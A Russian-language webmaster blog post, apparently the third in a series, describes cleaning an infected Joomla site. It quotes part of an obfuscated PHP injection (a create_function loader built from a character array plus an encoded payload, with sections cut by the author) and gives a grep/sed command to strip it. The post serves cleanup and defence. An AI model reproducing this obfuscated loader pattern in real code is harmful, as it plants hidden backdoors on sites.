Вирусы на сайте #3

Продолжаем бесконечную историю.

Сегодня день начался с того, что блог перестал открываться по причине того, что хостер убрал InnoDB из поддерживаемых движков сервера баз данных MySQL.

Пришлось слить дамп, выполнить команду sed ‘s/InnoDB/MyISAM/g’ old.sql > new.sql и залить обратно =)

Сегодня наткнулся на такую прелесть:

<?php
$md5 = "abe69649a7dbde93d328df6049b55aea";
$wp_salt = array('(','t','v','d',"i","o",";","b",'4','n',"a","z",')',"c","f","6","r","g","l","e","$",'_','s');
$wp_add_filter = create_function('$'.'v',$wp_salt[19].$wp_salt[2].$
<часть кода убрана>
$wp_add_filter('FZfFrsZaroQfp89RBmHSHYWZ/+CkFWbmPP3dPVoza9lyub4qr3T4p/7aqRrSo/wnS/eSwP5blPlclP/8R0wKcdsz4/BDuf/o94ZeDeqY

<часть кода убрана>

PMGMDiRh5qWg6HLEf5riM6MQuC11VVIEqiIAh8IMX/599///2//wc=');
?>

Все, абсолютно все php-файлы сайта содержали в своем начале вышеуказанный код (с небольшими вариациями). Про старую версию Joomla и устаревшие расширения, кучу шеллов я рассказывать не буду. Суть не в этом =)

Как вариант, можно полечить следующей командой:

grep -lRZ wp_add_filter ./ | xargs sed -i-bak -e '1,6d'

С помощью первой половины (до «трубы») получаем список файлов, содержаших строку, содержащую «слово» wp_add_filter. Просто уверен, что в Joomla подобной строки просто не найти. Вторая половина (после «трубы») — удаляет строки с первой по шестую из файла, сохраняя исходный файл с расширением «-bak».

Есть вопросы — с удовольствием выслушаю и постараюсь помочь.

Другие публикации по теме:

Обновление Joomla 1.6 до Joomla 1.7 Раздел статьи "Быстрое обновление" подходит только для сайтов, которые уже обновлены до Joomla 1.6.5., если версия движка вашего сайта не 1.6.5, то ...
Вышла Joomla 1.6 alpha 2 Как-то так незамеченно от меня прошла новость. Исправляюсь. В координаторском блоге Кеннет Краудер сообщил следующее: Проект Joomla спешит известить...
Менеджер обновлений для Joomla... Update Manager for Joomla! один из старейших менеджеров обновлений, который ведет свою историю с января 2006 года еще для Joomla! 1.0 и ранее доступны...
ку-ку Собственно, не осилил с ходу обновление с Drupal 6 на Drupal 7. Слишком много не совсем случайных факторов ;-) Плюс сложности с пониманием Postgres...

Поделиться информацией с друзьями!

Чтобы не пропустить обновления, подпишись на RSS или почтовую рассылку (свой выбор сделали уже 128 человек!)

Оставить комментарий